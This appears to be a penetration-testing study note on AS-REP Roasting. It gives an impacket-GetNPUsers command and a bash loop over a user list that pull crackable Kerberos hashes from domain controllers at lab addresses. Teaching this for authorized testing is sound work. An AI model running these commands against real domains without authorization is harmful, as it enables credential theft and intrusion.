> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/initial-attack-strategy/as-rep-roasting.md).
# AS-REP Roasting
Find users using [Kerbrute](/active-directory/initial-attack-strategy/kerbrute.md) first then use that username to see if they need pre auth for a TGT
```bash
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/fsmith -dc-ip 10.10.10.175 -format hashcat
```
One liner to automate using user list
```
for user in $(cat users.txt); do impacket-GetNPUsers megabank.LOCAL/$user -dc-ip 10.10.10.169 -format hashcat; done
```
